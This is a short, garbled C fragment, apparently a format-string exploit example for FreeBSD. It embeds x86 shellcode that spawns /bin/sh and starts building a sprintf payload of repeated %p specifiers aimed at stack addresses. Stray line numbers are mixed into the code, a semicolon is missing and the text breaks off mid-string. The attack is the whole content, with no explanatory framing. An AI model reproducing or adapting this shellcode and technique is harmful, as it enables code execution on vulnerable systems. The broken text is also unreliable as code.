/* simple example for printf ex on FreeBSD */
#include
1<stdio.h>
2char shell[]=
3"1\xc0t\f_PPWW\x88G\a\xb0;\xcd\x80\xe8\xef\xff\xff\xff/bin/sh";
4long addr,length=shell-152;
5char *pc = (char *)&addr
6int main(int argc,char * argv[])
7{
8long p[1];
9char buff[76];
10addr = (long ) &p[2];
11sprintf(buff,"%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%%up\</stdio.h>